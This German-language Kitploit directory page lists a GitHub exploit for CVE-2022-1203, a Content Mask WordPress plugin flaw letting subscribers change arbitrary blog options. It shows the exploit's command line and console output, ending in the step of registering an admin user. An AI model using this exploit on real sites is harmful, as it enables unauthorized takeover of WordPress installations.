Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-1203 — Content Mask < 1.8.4 - Subscriber+ beliebiges Aktualisieren von Optionen | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2022-1203
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungFehlkonfiguration
GitHubrandomrobbiebf/cve-2022-1203

CVE-2022-1203

Content Mask < 1.8.4 - Subscriber+ beliebiges Aktualisieren von Optionen

Repository anzeigen
2vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-1203

Content Mask < 1.8.4 - Subscriber+ Beliebige Optionen aktualisieren

Beschreibung

Das Content Mask WordPress-Plugin vor Version 1.8.4.1 verfügt in verschiedenen AJAX-Aktionen über keine Autorisierungs- und CSRF-Prüfungen und validiert außerdem nicht, ob die zu aktualisierende Option zum Plugin gehört. Infolgedessen könnte jeder authentifizierte Benutzer, z. B. ein Abonnent, beliebige Blog-Optionen ändern.

Verwendung

Exploit

root@kitploit:~

$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

Behebung

root@kitploit:~
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register
Tool herunterladen